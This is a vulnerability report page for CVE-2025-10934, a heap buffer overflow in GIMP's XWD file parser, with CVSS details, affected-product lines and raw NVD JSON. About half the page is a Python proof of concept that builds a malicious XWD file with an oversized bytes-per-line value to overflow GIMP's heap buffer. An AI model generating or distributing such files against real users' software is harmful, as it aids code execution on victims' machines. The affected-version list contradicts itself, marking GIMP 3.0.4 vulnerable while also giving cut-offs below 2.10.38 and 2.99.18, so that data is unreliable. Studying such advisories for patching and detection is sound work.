Security Vulnerability Report
中文
CVE-2025-10934 CVSS 7.8 HIGH

CVE-2025-10934

Published: 2025-10-29 20:15:35
Last Modified: 2025-11-04 13:12:43

Description

GIMP XWD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of XWD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27823.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
GIMP < 2.10.38
GIMP < 2.99.18
Debian: gimp < 2.10.38-0deb12u1 (Debian 12)
Debian: gimp < 2.10.32-1~deb11u2 (Debian 11)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-10934 PoC - GIMP XWD File Parsing Heap-based Buffer Overflow This PoC demonstrates the vulnerability in GIMP's XWD file parser. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_xwd(): """ Create a malicious XWD file that triggers heap buffer overflow in GIMP. The vulnerability exists in file-xwd.c where proper length validation is missing before copying data to heap-based buffer. """ # XWD file header structure header_size = 104 # Standard XWD header size # Create header with malicious size values header = bytearray(header_size) # XWD magic number struct.pack_into('>I', header, 0, 0x00200711) # Set header size struct.pack_into('>I', header, 4, header_size) # Set file version struct.pack_into('>I', header, 8, 7) # Set pixmap format (ZPixmap) struct.pack_into('>I', header, 12, 2) # Set pixmap depth (32-bit) struct.pack_into('>I', header, 16, 32) # Set pixmap width - normal value struct.pack_into('>I', header, 20, 800) # Set pixmap height - normal value struct.pack_into('>I', header, 24, 600) # Set xoffset struct.pack_into('>I', header, 28, 0) # Set byte order (MSB first) struct.pack_into('>I', header, 32, 0) # Set bitmap unit struct.pack_into('>I', header, 36, 32) # Set bitmap bit order struct.pack_into('>I', header, 40, 0) # Set bitmap pad struct.pack_into('>I', header, 44, 32) # Set bits per pixel struct.pack_into('>I', header, 48, 32) # Set bytes per line - trigger value for overflow struct.pack_into('>I', header, 52, 0xFFFFFFFF) # Malicious large value # Set visual class struct.pack_into('>I', header, 56, 5) # TrueColor # Set red mask struct.pack_into('>I', header, 60, 0x00FF0000) # Set green mask struct.pack_into('>I', header, 64, 0x0000FF00) # Set blue mask struct.pack_into('>I', header, 68, 0x000000FF) # Set bits per rgb struct.pack_into('>I', header, 72, 8) # Set number of colors struct.pack_into('>I', header, 76, 0) # Set color map entries struct.pack_into('>I', header, 80, 0) # Set window width struct.pack_into('>I', header, 84, 800) # Set window height struct.pack_into('>I', header, 88, 600) # Set window x struct.pack_into('>I', header, 92, 0) # Set window y struct.pack_into('>I', header, 96, 0) # Set window border width struct.pack_into('>I', header, 100, 0) # Create malicious image data - triggers overflow # bytes_per_line calculation: (width * depth + bitmap_pad - 1) / bitmap_pad * bitmap_pad / 8 # With malicious bytes_per_line value, memcpy will overflow heap buffer malicious_data = b'\x41' * 0x10000 # Large payload to trigger overflow # Combine header and malicious data xwd_file = header + malicious_data return xwd_file def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.xwd>") sys.exit(1) output_file = sys.argv[1] print(f"[*] Generating malicious XWD file for CVE-2025-10934") print(f"[*] Target: GIMP XWD file parser (file-xwd.c)") print(f"[*] Vulnerability: Heap-based buffer overflow due to missing length validation") xwd_data = create_malicious_xwd() with open(output_file, 'wb') as f: f.write(xwd_data) print(f"[+] Created malicious XWD file: {output_file}") print(f"[+] File size: {len(xwd_data)} bytes") print(f"[!] WARNING: This file is designed to trigger a buffer overflow in vulnerable GIMP versions") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10934", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:35.423", "lastModified": "2025-11-04T13:12:43.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP XWD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of XWD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27823."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "103D75C8-35B7-4E50-B75C-2D75294CB7AC"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/5c3e2122d53869599d77ef0f1bdece117b24fd7c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-978/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00005.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}